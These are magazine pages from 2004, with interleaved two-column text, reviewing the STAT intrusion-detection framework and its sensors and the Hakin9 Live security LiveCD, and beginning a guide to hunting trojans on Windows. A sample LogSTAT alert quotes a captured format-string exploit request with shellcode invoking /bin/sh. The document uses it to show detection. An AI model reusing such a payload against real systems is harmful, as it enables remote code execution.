подходу. Методы, заложенные в сценариях STAT, могут быть перехода, которые определяют более конкретные условия,
применены для создания любого вида датчиков host-based, которым может соответствовать дальнейшее развитие ата-
network-based и application-based, что делает данную тех- ки. Например, открытие соединения только со специфичес-
нологию универсальной. К примеру, два тогда еще концеп- ким портом или запуск критических приложений. При этом
туальных датчика NetSTAT и USTAT прошли в конце про- переходы в зависимости от результата могут приобретать
шлого века полевые испытания в MIT Lincoln Laboratory и значение consuming, nonconsuming или unwinding.
Air Force Research Laboratory (AFRL). В ходе которых зас- STATL включает несколько встроенных типов: int и u_int,
лужили высокую оценку, и, главное, была доказана жиз- bool, string, timeval (для временных меток) и timer (для от-
ненность предложенных методик обнаружения атак и об- слеживания событий в течение определенного интервала
наружена схожесть путей представления сценариев атак и времени ) и также включены массивы. При этом невозмож-
архитектуры различных типов датчиков. но определить новые типы данных в пределах сценария,
специфические типы должны определяться в ориентирован-
Концепции, на которых базируется STAT, ной на конкретную задачу библиотеке. Поэтому сетевые и
принцип работы host-датчики кроме встроенных имеют и специфические
Основу проекта составляют пять понятий: типы данных. В документации можно найти примеры пост-
! State Transition Analysis Technique – STAT; роения сценария на языке STATL, позволяющие более под-
! язык STATL; робно разобраться с технологией, в данный же момент все
! ядро STAT; имеющиеся сценарии и расширения языка STATL, перепи-
! инструментальные средства STAT; саны в код C++ и откомпилированы в библиотеки STAT
! инфраструктура MetaSTAT. development tools, хотя в архивах приложений встречаются

№10(23), октябрь 2004 61


безопасность
ознакомительные сценарии и модули, написанные на язы- рено расширение ядра за счет добавления модулей, отве-
ке STATL, позволяющие самому создать необходимое опи- чающих за анализ определенных событий (сетевой трафик,
сание события. Для возможности разработки и тестирова- логи приложений и событий, отслеживаемых операционной
ния собственных сценариев имеются необходимые прило- системой, системные вызовы и пр.), что позволяет собрать
жения: IDS практически под конкретные условия. При этом возмож-
! STATL Parser – инструмент, написанный на Java, позво- но изменение в процессе выполнения загрузкой/выгрузкой
ляет переводить сценарии, написанные на STATL, в сце- STAT-based приложений при помощи директив управления,
нарий C++ плагинов, который затем можно откомпили- посланных ядру STAT. Ядро вместе с загруженными моду-
ровать и загрузить в STAT-based приложение. лями и определяет возможности системы. Если же STAT
! STATed – графический редактор для сценариев STATL, запущен без модулей, он работает в «пустой» конфигура-
также реализованный на Java. ции, т.к. содержит только образ ядра, ожидающего собы-
! xSTAT – позволяет создать законченное универсальное тий или сообщений управления. Источник событий обеспе-
STAT-based приложение без необходимости следовать чивается модулем Event Provider, который, собирая данные
за одиночным приложением, а фактически все сенсоры (т.е. события) из внешней среды (анализ логов, сетевых па-
являются символическими ссылками на это имя и лю- кетов), фильтрует те, которые не представляют интерес,
бой можно запустить, набрав xstat с соответствующими преобразовывает остающиеся события в объекты событий
опциями. (как определено Language Extension Module), преобразовы-
вает эти события в универсальные события STAT и добав-
Кроме того, в документе «Translating Snort rules to STATL ляет эти события во входную очередь ядра STAT.
scenarios» (http://www.cs.ucsb.edu/~rsg/pub/2001_eckmann_ При этом Event Providers может быть добавлен и удален
RAID01.pdf.gz) обсужден процесс перевода правил Snort в динамически, также ядро может работать одновременно с
сценарии STATL, но, к сожалению, упоминаемой в нем ути- несколькими Event Provider. Для обработки событий необ-
литы snort2statl на сайте обнаружить не удалось. ходимо загрузить одно или несколько Scenario Plugins в ядро
STATL позволяет использовать особенности методики STAT. Прототипы сценария содержат структуры данных,
STAT независимо от конкретного приложения и области представляющие в условленных сценарием терминах со-
применения, т.к. может быть легко адаптирован к различ- стояние и изменение глобальных переменных и набор не-
ным целевым средам и также содержит конструкции, кото- которых параметров активации. Прототип создает первый
рые могут помочь быстро адаптировать язык к любой спе- образец сценария. Такой образец находится в начальном
цифической области. Например, расширения STATL для состоянии, соответствующем сценарию атаки. Ядро STAT,
описания происходящего на основании записей в логах веб- анализируя определенный сценарий, помечает образец для
сервера Apache, имеют поля вроде host, ident, authuser, date, событий, ассоциированных с начальным состоянием сце-
request, status, bytes и пр. нария. Теперь ядро готово для обработки события. Если со-
После определения возможных событий устанавливаются бытие соответствует помеченному, то происходит необхо-
предикаты, основанные на них. Так, например, isCGIrequest() димая оценка и утверждение состояний, и в случае удов-
возвращает истину в том случае, когда событие – запрос летворительного ответа принимается решение о соответ-
на выполнение CGI-скрипта; в случае, когда клиенту воз- ствии. При этом, так как могут изменяться последствия, то
вращается ошибка 400-500, истину принимает предикат может создаваться и новый сценарий. Каждый образец
isClientError(); а когда в запросе обнаруживаются бинарные сценария фактически представляет описание атаки в про-
строки, что может свидетельствовать о попытке перепол- грессе.
нения буфера, истину принимает предикат isBinary(). Все В результате работы сценария в конце может быть вы-
события и определения предиката сгруппированы в расши- дан некоторый выход. Это может быть регистрация, пре-
рениях языка, и после того как наборы событий и связан- дупреждающее сообщение, перестройка firewall, другим ва-
ные с ними предикаты для расширений языка определены, риантом может быть выдача т.н. синтетического события,
их возможно использовать в описаниях сценариев STATL. которое обрабатывается подобно любому другому событию
и может использоваться, чтобы представить изменения це-
Дальнейшая работа системы почки сценария. За ответ на событие отвечает Response
по обнаружению атаки Modules, представляющий собой набор функций, способ-
Сценарии STATL обрабатываются во время выполнения ных реализовать любой необходимый тип реакции, в том
ядром STAT. Для этого сценарии компилируются в Scenario числе и в зависимости от установок и на промежуточные
Plugin, который является динамически загружаемой библио- состояния сценария. Теперь STAT-based приложение пол-
текой (.so в UNIX или DLL в Windows). Кроме того, все рас- ностью сконфигурировано, необходимые модули в зависи-
ширения языка, использованного в сценариях, должны быть мости от потребностей могут быть в любой момент загру-
откомпилированы в Language Extension Module, который жены/выгружены, все необходимые зависимости осуществ-
также является динамически загружаемой библиотекой. ляются либо самим приложением, либо инфраструктурой
Само ядро STAT обеспечивает единые для сценариев па- MetaSTAT.
раметры вроде таймеров, концепций состояния, перехода
и соответствия события и фактически производит анализ, Инфраструктура MetaSTAT
сравнивая входящий поток со сценариями, имеющимися в В защищаемой сети развертывается сеть датчиков, состав-
Scenario Plugins. Для расширения возможностей предусмот- ленная из компонентов, соединенных между собой посред-

62
безопасность
ством локальной связи и инфраструктуры управления. Для ! WinSTAT – также относится к IDS контролирующим от-
контроля работы, координации действий, совместимости и дельный узел и предназначен для анализа системных ло-
управления STAT-based приложениями предназначен набор гов Windows NT для обнаружения следов возможных атак.
MetaSTAT, состоящий из: ! LinSTAT – представляет собой демон контроля происхо-
! CommSTAT – позволяет создавать защищенные соеди- дящих событий в Linux-системах, для этих целей исполь-
нения между разнесенными по сети компонентами. Пе- зуется пакет SNARE, разработанный InterSect Alliance
редаваемые данные форматируются согласно стандар- (http://www.intersectalliance.com).
ту Intrusion Detection Message Exchange Format (IDMEF), ! NetSTAT – относится к сетевым системам обнаружения
предложенному Intrusion Detection Working Group (IDWG) атак, анализирует сетевой трафик на предмет наличия
of the Internet Engineering Task Force (http://www.ietf.org/ пакетов, содержащих угрозу.
html.charters/idwg-charter.html), который базируется на ! WebSTAT – application-based IDS, а по сути синтаксичес-
XML. Оригинальный IDMEF распознает два вида собы- кий анализатор лог-файлов, сгенерированых веб-сер-
тий: Heartbeat и Alert, который был расширен необходи- вером Apache, позволяющий обнаружить атаки и зло-
мыми для управления датчиками сообщениями. Для за- намеренные запросы.
щиты соединения используется SSL. ! LogSTAT – сенсор, анализирующий журналы формата
! STAT Proxy – действует как посредник между STAT-based UNIX syslog, но имеет библиотеку расширения, позво-
приложением и контроллером MetaSTAT, отвечает за ляющую отслеживать критические записи и в журналах
поддержку репозитария host-based модулей STAT, для Apache.
соединения с Controller использует CommSTAT. Также ! AlertSTAT – хотя и назван в некоторых документах дат-
производит предварительную обработку сообщений и чиком, но относится к инструменту анализа выводов дру-
директив управления, и поддерживает интеграцию с гих датчиков и позволяет обнаруживать атаки более
инструментами сторонних разработчиков, не поддержи- высокого уровня, в том числе и распределенные и мно-
вающих инфраструктуру STAT. гоступенчатые атаки.
! MetaSTAT Controller – сохраняет соединения к имеющим-
ся STAT proxy и обеспечивает интерфейс, позволяющий Установка и работа
отсылать управляющие сообщения STAT-based прило- Домашняя страница проекта в Интернете находится по ад-
жениям и контролировать их текущее состояние. ресу http://www.cs.ucsb.edu/~kemm/netstat.html/projects.html,
! MetaSTAT Viewer – пакет включает приложение, напи- здесь вы найдете документацию и собственно сам софт.
санное на Java и обеспечивающее графический пользо- Страница для закачки разбита по приложениям, причем если
вательский интерфейс, позволяющий просматривать вы хотите установить только LinSTAT (http://www.cs.ucsb.edu/
предупреждения, сохраненные в централизованной базе ~kemm/netstat.html/software/linstat.html), то на этой страни-
данных. В настоящее время Viewer поддерживает про- це найдете все необходимые компоненты для удовлетво-
смотр IDMEF версии 0.3. рения зависимостей. Доступны как прекомпилированные
! MetaSTAT Configurator – хранит базу данных задейство- rpm-пакеты (для RedHat 7.3), так и исходные тексты. Надо
ванных модулей и датчиков, а также зависимостей меж- сказать, что в rpm-пакетах можно найти только базовые при-
ду ними. ложения, да и то, например, модули ядра будут работать
! MetaSTAT Collector – отвечает за сбор и сохранение пре- только с тем ядром, для которого они компилированы, при
дупреждений, собранных управляемыми датчиками. Все использовании в другой системе получите примерно такое
предупреждения IDMEF можно сохранить во внешней сообщение:
базе данных (MySQL). Starting linuxstat services: insmod: error inserting
'/usr/local/stat/sensors/linuxstat_sensor_1.0/auditmodule.o':
Выходы датчиков в форме предупреждений собираются -1 Invalid module format
т.н. мета-сенсорами, каждый такой мета-сенсор отвечает за Поэтому наиболее общим вариантом будет установка из
подмножество развернутых датчиков и может координировать исходников. Как сказано в документации, для установки до-
действия с другими мета-сенсорами (корреляция результатов, статочно ввести стандартные ./configure, make, make install
например). Компоненты MetaSTAT могут быть организова- и все. Но при установке MetaSTAT (с остальными приложе-
ны в иерархической структуре, для возможности разверты- ниями проблем практически не было) на RedHat 7.3 и 9,
вания большого количества датчиков в больших сетях. SuSE 9.1, Linux XP, Slackware 9.1, проблемы возникали в
каждом случае (в RedHat 7.3 и Slackware меньше) поэтому,
Инструменты STAT скорее всего, придется немного повозиться в каждом конк-
Принципы, заложенные в STAT, были использованы при ретном случае. Например, такая ошибка преследовала во
разработке нескольких компонентов, позволяющих собрать всех системах.
STAT-based IDS под определенные задачи. checking for libxml/parser.h... no
! USTAT – первый появившийся датчик, представляет со- The STAT Core needs libxml2 headers installed before it can be compiled
бой host-based IDS, анализирующую контрольные запи- (note that a link called "libxml" and pointing to "libxml2/libxml" is needed)

си, выданные Sun Solaris Basic Security Module (BSM). Но libxml установлен, ищем, где:
! NSTAT – расширение USTAT для работы с несколькими
узлами, позволяет учитывать атаки на узлы, использу- # find /usr /opt -name parser.h
ющие NFS. /usr/include/libxml2/libxml/parser.h

№10(23), октябрь 2004 63


безопасность
Исправить ситуацию можно так: информацию относительно процесса и пользователя, его
запустившего, или просто попытавшегося выполнить рас-
# ln -s /usr/include/libxml2/libxml /usr/include/libxml сматриваемый системный вызов. Модуль сохраняет инфор-
мацию во временном буфере, который может быть прочитан
После этого: при помощи auditdaemon или linuxstat. Эти две программы
по сути являются пользовательским интерфейсом к
checking for pthread.h... yes
checking libxml/parser.h usability... yes auditmodule.o, считываются данные через устройство /proc/
checking libxml/parser.h presence... yes audit. При этом auditdaemon собирает все данные и сохраня-
checking for libxml/parser.h... yes
ет их в бинарном формате в файл (по умолчанию /var/log/
Проблема с glib в SuSE решилась таким образом: snare/audit), для того чтобы просмотреть события, ее можно
извлечь при помощи praudit.
MetaSTAT needs glib installed before it can be compiled
configure: error: /bin/sh './configure' failed for MetaSTAT
#auditdaemon -o /var/log/snare/audit-`date -I`
# ln -s /usr/lib/libglib-1.2.so.0.0.10 /usr/lib/libglib-1.2.so #praudit -c /var/log/snare/audit-2004-09-02
...
EVENT #26: act: READ, time: Thu Sep 2 17:46:59 2004, retcode: 2,
А еще: exec_args: gpm, pathname: /usr/sbin/gpm, uid: 0, gid: 0, euid: 0, egid: 0,
pid: 991, ppid: 1, pwd: /, objname: /dev/tty0, owner: 0, gowner: 0,
inode: 36763, dev: 770, perm:rw—w----
# ln -s /opt/gnome/lib/libgnome.so.32.4.3 ↵
/opt/gnome/lib/libgnome.so.0 ...
# ln -s /usr/lib/libcrypto.so.0.9.7 /usr/lib/libcrypto.so.2 End of file /var/log/snare/audit (33 events in 4335 bytes:
# ln -s /usr/lib/libssl.so.0.9.7 /usr/lib/libssl.so.2 131.36 bytes/event)

Утилита linuxstat работает в двух режимах live и offline.


Смысл, думаю, ясен. Хотя от MetaSTAT можно поначалу В режиме live информация берется непосредственно с /proc/
отказаться вообще и установить позднее, все компоненты audit и сразу же анализируется сценариями STAT, в offline
можно использовать отдельно без централизованного уп- анализируется файл, созданный auditdaemon.
равления. А так скачиваем необходимые сенсоры и распа- В live-режиме программу можно запустить так:
ковываем командой tar xzvf название_пакета. После чего в
текущем каталоге образуется подкаталог STAT-1.0. При за- #linuxstat -name LinSTAT:1.0 -hostname localhost -live
дании команды ./configure без дополнительных парамет-
ров будут найдены все распакованные сенсоры, они нахо- А в offline так:
дятся в STAT-1.0/Sensors/ и можно установить любой из
них, просто зайдя в нужный каталог и дав необходимые #linuxstat -name LinSTAT:1.0 -hostname localhost ↵
-offline /var/log/snare/audit-2004-09-02
команды. Либо можно отменить автодетектирование, до-
бавив опцию --disable-autodetect, и затем указать на нуж- Для примера пробуем занести новые данные в файл /etc/
ные сенсоры (например, --enable-netstat, --enable-linstat), passwd, в live-режиме система сразу же выдает предупреж-
и нелишней будет опция --enable-java для компиляции Java- дающее сообщение.
компонентов. После компиляции и установки появится LinSTAT:1.0@09/02/2004 21:32:36: LOG: linux_restricted_write: 500:
каталог /usr/local/stat/, в котором собраны все библиотеки /etc/passwd written by
user 500, program /bin/bash
сценариев и основные настройки сенсоров. Большинство LinSTAT:1.0@09/02/2004 21:32:36: LOG:
файлов не требует вмешательства. Для более точной под- <IDMEF-Message version="0.3">
стройки некоторых датчиков загляните в подкаталог <Alert ident="grinder-uUg3vo5" impact="attempted-admin">
<CreateTime ntpstamp="0xC4E1E5C4.0x6AFB1CF5">
providers, где в подкаталогах соответствующих датчиков 2004-09-02T18:32:36Z</CreateTime>
найдете файл provider_config. <Classification origin="unknown">
<name>restricted_dir_write</name>
Например, в файле /usr/local/stat/providers/apache_ <url>http://www.cs.ucsb.edu/~rsg/STAT</url>
provider_1.0/provider_config по умолчанию такая запись </Classification>
use_command_line_args, свидетельствующая о том, что па- <Analyzer analyzerid="LinSTAT:1.0:192.168.1.1">
<Process><name>LinSTAT:1.0</name>
раметры берутся с командной строки. А в linuxstat_provider_ </Process><Node><Address category="ipv4-addr">
1.0/provider_config занесены файлы и каталоги, доступ к ко- <address>192.168.1.1</address>
</Address></Node></Analyzer>
торым будет контролироваться сенсором LinSTAT. <Source spoofed="unknown">
Теперь конкретней о некоторых сенсорах и сопутствую- <User><UserId type="current-user">
щих приложениях. Как уже говорилось выше, LinSTAT явля- <name>sergej</name>
<number>500</number>
ется версией утилиты аудита системы SNARE (System iNtrusion </UserId>
Analysis and Reporting Environment) с уже настроенными па- <UserId type="current-group">
<name>500</name></UserId></User>
раметрами контроля. После установки в вашем распоряже-
<Process><name>bash</name>
нии будет динамически загружаемый модуль ядра <path>/bin/bash</path>
auditmodule.o и три утилиты auditdaemon, linuxstat и praudit. <pid>22002</pid></Process>
</Source>
Модуль, работая в пространстве ядра, отлавливает крити- <Target><Process><name></name>
ческие системные вызовы вроде «execve» (выполнение ко- <path>/etc/passwd</path></Process></Target>
манды), «open» (открыть файл), «mkdir» (создать каталог) и <AdditionalData type="string" meaning="ustat:target_directory">
/etc/</AdditionalData>
отправляет результат к подпрограмме, которая собирает всю <AdditionalData type="string" meaning="ustat:target_file">

64
безопасность
passwd</AdditionalData> p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~
</Alert> p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~
</IDMEF-Message> p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~
p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~
Для запуска при старте системы используется скрипт p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~
p~p~p~p~p~p~p~p~p~p1???^g?_~mo^g~mq^l~iq^d~mq^\~iq^h
/etc/init.d/linstat, который берет данные из файла /etc/sysconfig/ ~ia^\1?i^q1?a^\^pf?@?@y^l^bu^d<^at^m?@^a}???~@~i??0??@?@^cu?
linuxstat. В этих файлах можно изменить параметры запуска i1??hc^g~i[^h~mk^h~ic^l^k?@1??~@?t/bin/sh'
logstat@localhost@01/09/2004 22:13:04: LOG: syslog_bufferoverflow:
и месторасположение исполняемых и файлов отчетов.
Датчик NetSTAT также может работать в двух режимах.
# /etc/init.d/linstat start_lin Если запустить с указанием сетевого интерфейса, то будут
LinSTAT:1.0@09/02/2004 15:37:54: LOG: <IDMEF-Message> контролироваться проходящие через него пакеты:
<x-stat from="xstat@localhost" to="stat-controller@ahost.stattest.com">
<x-stat_info id="1" return_value="0" return_string="OK" #netstat -i eth0
scenario_id="2">
</x-stat_info> Got UDP port unreachable
</x-stat> 192.168.0.1 48361 -> 192.168.0.20 1
</IDMEF-Message> Inside tcpprobe, generating Half Open event
attacker: 192.168.0.1, attackerport: 48370, victim: 192.168.0.1,
Сенсор webSTAT анализирует логи веб-сервера Apache, victimport:22
<response sensor="netstat@localhost" scenario="proto_30"
после установки будет доступна только одна утилита –
scenario_id="201" instance_id="665"
webstat, которая и принимает в качестве аргумента лог- from="logging" transition"inactive" to="end">
файл. Работает также в двух режимах offline и live. Первый <data>CLASSIFICATION_NAME="tcpsweep"</data>
<data>CLASSIFICATION_URL="http://www.cs.ucsb.edu/~rsg"</data>
реализуется опцией [-auditfile | -a]: <data>SOURCE_NODEADDRESS="192.168.0.1"</data>
<data>SOURCE_PORT="48361"</data>
# webstat -a /var/log/apache2/access_log <data>TARGET_NODEADDRESS="192.168.0.20"</data>
<data>ADDITIONAL_DATA="Alert only contains last attacker"</data>
<data>threshold="3"</data>
Второй при помощи опции [-interface | -i]: <data>timeout="3"</data>
<data>victims=""</data>
<data>victim_address="335587520"</data>
#webstat -i /var/log/apache2/access_log <data>total_probed="1488"</data>
<data>addr_probes=""</data>
<data>t1="1"</data>
Теперь для контроля работы набираем в строке браузера: </response>
http://server/cgi-bin, после чего система выдает сообщение:
И как входные данные можно использовать информа-
webstat@localhost@08/26/2004 11:36:18: LOG: apache_regex_xml:
26/Aug/2004:11:36:18 +0300 : First Bad Request "GET цию, собранную внешней утилитой, например tcpdump.
/cgi-bin/ HTTP/1.1" :From 192.168.0.1
:Attack: cgi_dir #netstat -a tcpdump_file
При повторной попытке:
Для удобства параметры можно занести в provider_config:
webstat@localhost@08/26/2004 11:37:34: LOG: apache_regex_xml:
26/Aug/2004:11:37:34 +0300 : Subsequent Bad Request "GET
/cgi-bin/ HTTP/1.1" :From interface eth0
192.168.0.1 :Attack: cgi_dir

Обратите внимание, что система различает первую и или


последующие попытки одной и той же атаки.
Использование сенсора logSTAT аналогично предыду- auditfile /audit/file.tcpdump
щему:
Принцип работы остальных сенсоров STAT аналогичен
#logstat -i /var/log/messages -i /var/log/secure и, думаю, ясен.
К сожалению, STAT только-только выбрался из концеп-
либо: туального состояния и еще не успел обзавестись полноцен-
ными средствами сбора и вывода данных, так что их при-
#logstat -a /var/log/messages -a /var/log/secure дется создавать самому, а поэтому о массовом использо-
[Sun Aug 29 10:01:56 2004] : Facility : kernel: First Occurance : eth0: вании разговор пока не идет. Проведенные тестовые ис-
setting promiscuous mode. пытания подтвердили жизненность методики STAT, были
logstat@localhost@29/08/2004 12:01:57: LOG: syslog_watch:
обнаружены не только уже известные атаки, но и тестиро-
[Sun Aug 29 11:01:16 2004]: Facility : sshd[7717]: First Occurance :
failed password for root вались уязвимости обнаруженные, после того как система
from 192.168.0.20 port 22 ssh2 была установлена, но все равно в отчетах одного из сенсо-
[Sun Aug 29 11:01:16 2004]: Facility : server[23101]:
Subsequent Occurance : dispatch_input:
ров появлялось предупреждающее сообщение. В этом про-
bad request line является одна из основных достоинств STAT, т.е. работаю-
'aa~m?~n?~o?~p?%.236u%304$n%.217u%305$n%.6u%306$n%.192u% щая IDS фактически не требует никаких обновлений и мо-
307$n~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~
p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~
жет эксплуатироваться большой промежуток времени без
p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ внимания администратора. Остается надеяться, что нара-
p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~p~ ботки не пропадут даром. Успехов.

№10(23), октябрь 2004 65


администрирование

HAKIN9 LIVE

СЕРГЕЙ ЯРЕМЧУК
Появление LiveCD-дистрибутивов GNU/Linux не только по- чать с одного из зеркал, указанных на сайте, iso-образ раз-
радовало поклонников этой системы, но и было оценено мером 300 Мб, записать его на болванку и загрузиться,
администраторами, отвечающими за безопасность сети. присутствие жесткого диска необязательно. При загрузке
Конечно же, можно нанять для этой цели и специалистов можно передать ядру некоторые параметры, например, ре-
со стороны, что в принципе более правильно, т.к. при по- жим загрузки framebuffer fb800 и fb1024 или без него nofb,
мощи сканеров все равно невозможно выявить все недо- текстовый режим – text и прочие. Но в большинстве случа-
статки, но не все могут позволить себе такую роскошь. Да ев вмешательство пользователя необязательно. Необходи-
и следить за безопасностью необходимо не время от вре- мо отметить, что локализован Hakin9 Live пока только на
мени, а постоянно, и поэтому хочется иметь готовый инст- польский (по умолчанию), немецкий, французский, испанс-
румент, позволяющий оценить все самому. LiveCD-дист- кий, чешский, но русский язык в списке отсутствует. Не
рибутивы позволяют сделать необходимый инструмент знаю, считать ли это недостатком, все равно большая часть
буквально на все случаи жизни, и эта особенность не мог- предлагаемых утилит консольные, и знание английского в
ла остаться незамеченной у специалистов по компьютер- подобных случаях просто обязательно. Начиная с версии
ной безопасности. 2.0, в дистрибутиве используется оконный менеджер XFce4,
Польский журнал Hakin9 ориентирован на читателя, от- в более ранних – fluxbox. После загрузки необходимо заре-
вечающего за защиту компьютерных систем, программис- гистрироваться как пользователь root или haking без паро-
тов, специалистов по безопасности и администраторов, а ля. Помнится, как распекали SuSE Linux 9.1 LiveCD именно
также на людей, занимающихся проблемами безопасности по этой причине, поэтому, если планируется работа в Интер-
компьютеров и сетей в свободное время. Предлагаемый им нете, обязательно установите пароль при помощи passwd,
дистрибутив Hakin9 Live (http://www.haking.pl/en/index.php? иначе проникнуть в компьютер труда особого не составит.
page=hakin9_live), основанный на другом польском дистри- Дистрибутив поддерживает большинство сетевых устройств,
бутиве Aurox Live (http://www.aurox.org/en), содержит все и некоторые пытается настроить автоматически. Если сеть
необходимые инструментальные средства и материалы, не- не удалось настроить при помощи DHCP, настраиваем ее
обходимые для проверки на практике методик и техноло- вручную. Для этого воспользуемся командами ifconfig и
гий, описанных в статьях журнала. И для этого дистрибу- route.
тив включает в себя огромный набор утилит и инструмен-
тов для тестирования систем на уязвимость (как локаль- #ifconfig eth0 192.168.0.20 netmask 255.255.255.0
#route add default gw 192.168.0.254
ных, так и удаленных).
В использовании Hakin9 Live в принципе не очень отли- И заносим в /etc/resolv.conf имя ближайшего сервера
чается от других подобных дистрибутивов, необходимо ска- имен. Например:

66
администрирование
nameserver 192.168.0.254 strobe, traceroute, ethereal, tethereal, cold (Computerized
Ordinary LAN Dumper), p0f, panda309 (простая скорост-
Те, кто не привык к ручной набивке команд, могут вос- ная утилита для удаленного определения ОС), sentinel,
пользоваться графическими netconfig, netcardconfig или vmap, mtr, fping, hping2, hping3, queso, dnstracer, arp, arping,
redhat-config-network. arp-watch, ether-wake, netcat, ftp, ssh, веб-браузеры Links
После чего выполняем. и Mozilla Firebird, набор утилит для работы с kerberos.
! Утилиты анализа и повышения защищенности систе-
#/etc/init.d/network restart мы – john the ripper, позволяющий оценить пароли на
прочность, весь набор утилит The Coroner’s Toolkit с ин-
Aurox Live базируется на RedHat, и поэтому в Hakin9 Live струментом визуализации Autopsy Forensic Browser, о
можно найти конфигурационные утилиты, специфичные для котором журнал уже писал.
данного дистрибутива, в том числе возможно использова-
ние rpm, но именно по этой причине этот дистрибутив мо- И конечно же, найдете все утилиты, присущие любой
жет подойти новичкам, еще не знающим всех тонкостей Linux-системе, что позволяет использовать Hakin9 Live и
UNIX-систем. Особенностью дистрибутива является отсут- для спасательных целей. И в дополнение целый ряд дру-
ствие автоматического сохранения настроек, поэтому о со- гих не менее интересных утилит, например стенографи-
хранении всего необходимого придется позаботиться са- ческая утилита MP3Stego (http://www.cl.cam.ac.uk/~fapp2/
мому, сохранив их на дискету или в любой раздел жесткого steganography/mp3stego/), позволяющая спрятать информа-
диска, которые автоматически система находит и монтиру- цию в музыкальный mp3-файл. Разработчики полностью
ет при загрузке. сохранили документацию в виде man-страниц плюс напи-
Ссылки на все основные инструменты для удобства сали свою, что позволяет быстро разобраться в работе с
пользователя собраны в каталоге /usr/local/bin/tools/, куда системой и незнакомыми утилитами, но на сайте, к сожа-
можно перейти в том числе и из отдельного пункта меню. лению, информации практически нет.
Здесь полный набор, включающий наработки известных Вот кратко и все. Сравнивать с другими подобными ди-
хакерских групп: стрибутивами смысла, я думаю, нет, т.к. каждый из них ори-
! Утилиты анализа защищенности и работы в сети: iptables, ентирован под определенные задачи и соответственно
tcpdump, tcpflow, tcpslice, сканеры – nmap с nmapfe, amap пользователя, который будет с ним работать. Это доволь-
(Application MAPper), gps (Ghost Port Scan, хорошая ути- но хороший и удобный инструмент администратора и для
лита для проверки правил firewall), exscan, siphon, nbtscan, пользователей, желающих освоиться в UNIX или желающих
jwhois, iptraf (IP Network Statistics Utility), nessus, Snort, разобраться в проблемах безопасности.

№10(23), октябрь 2004 67


безопасность конкурсная статья

ПОИСК ТРОЯНОВ ВРУЧНУЮ

ДЕНИС БАТРАНКОВ
В этой статье вы найдете ответы на следующие вопросы: ! Просмотреть логи персонального firewall. Если firewall
! Что делать, если вы предполагаете, что на вашем ком- не смог заблокировать несанкционированные соедине-
пьютере с Windows установлена программа-шпион или ния трояна в силу своей недостаточной функциональ-
троян? ности или неправильной настройки, то есть надежда,
! Как найти троянскую программу или spyware, если ваш что он хотя бы запротоколировал, какие соединения
антивирус или AdWare ее не находит? были пропущены в Интернет. Если хорошего персональ-
ного firewall нет, то хотя бы включите встроенный в
Статья для начинающих системных администраторов и Windows XP firewall, который называется ICF (как это сде-
опытных пользователей Windows описывает возможные спо- лать, описано на http://www.microsoft.com/rus/windowsxp/
собы поиска троянских программ и также описывает, как ис- using/howto/networking/icf.asp). Протоколы встроенного
пользовать для этого поиска программы и утилиты из стан- firewall можно посмотреть с помощью любого текстово-
дартной поставки Windows 2000, XP и 2003 и программы го редактора, открыв файл C:\WINDOWS\ pfirewall.log.
сторонних разработчиков: netstat, msconfig, msinfo32, tlist, Но лучше использовать более удобные утилиты, ссыл-
Sysinternals TCPView, CurrPorts, WinTasks, Security Task ки на которые легко найти при помощи Google (напри-
Manager, Starter, Winpatrol, Sysinternals Autoruns, Sysinternals мер, набрав в строке поиска «XP firewall logger»).
ProcessExplorer, MoveOnBoot, Microsoft PortReporter, System
Safety Monitor. Первый пункт достаточно понятен и помогает в 80% слу-
Если коротко описать процесс поиска программы, вы- чаев. За третий пункт нужно браться в самом запущенном
полняющей нежелательные действия, то алгоритм обычно случае и еще лучше со специалистом по компьютерной бе-
такой: зопасности (далее КБ). Давайте попробуем выполнить дей-
! Обновить базу данных установленного на вашем ком- ствия, описанные во втором пункте. Тем более что при вни-
пьютере антивируса и проверить им все локальные дис- мательном выполнении всех операций можно найти и убить
ки. (Если антивируса нет, то установить его.) Вам нуж- любую гадость, засевшую в вашем компьютере.
но осознавать, что если антивирус не обнаружил троя- Возникает вопрос, нужно ли отключаться от Интернета,
нов, то это не значит, что их у вас нет. На компьютере если мы ищем вирус или троян? Вам понадобятся различ-
может работать свежий троян или специально подготов- ные утилиты для поиска трояна (какие конкретно будет опи-
ленная для вас программа-шпион, которой еще нет в сано далее). Если эти утилиты уже есть или на жестком
базах ни одной компании производителя антивируса. И, диске, или на компакт-диске, или у вас есть возможность
возможно, вы тот человек, который первым выявит и сходить за нужными дисками, или скачать и записать на
пошлет эту программу для исследования в антивирус- компакт-диск нужные программы на другом незараженном
ную компанию. компьютере, то необходимо отключиться от Сети. Это нуж-
! Посмотреть, какие процессы работают на компьютере но сделать, чтобы предотвратить дальнейшую утечку ин-
и какие соединения с Интернетом ими используются. формации с компьютера. Отключаться нужно даже от ло-
Возможно, на диске появились новые файлы, возмож- кальной сети, например, сети офиса или домашней сети,
но, старые файлы изменились. Возможно, в реестре по- чтобы не заражать соседние компьютеры.
явились новые ключи или параметры. Однако иногда встречаются особо запущенные случаи,

68
безопасность
в которых приходится скачивать нужные программы через вашем компьютере все что угодно: скачивать файлы, рас-
Интернет. Например, я однажды приехал в гости к родствен- сылать спам, быть прокси-сервером, участвовать в DOS-
никам в Сибирь, обрадовался наличию компьютера с мо- атаке, быть плацдармом для других атак, естественно, в
демным доступом к Интернету, сел за него и, нажав по при- рамках функций, предоставляемых им имеющейся опера-
вычке <Ctrl-Alt-Del>, сразу обнаружил трояна в списке про- ционной системой. В данном случае мы рассматриваем
цессов. Поскольку нужных программ под рукой не было, версии Windows: 2000 SP4, XP SP1, 2003.
пришлось лечить вручную. Единственной «защитой» этого Такие программы открывают TCP-порт на компьютере
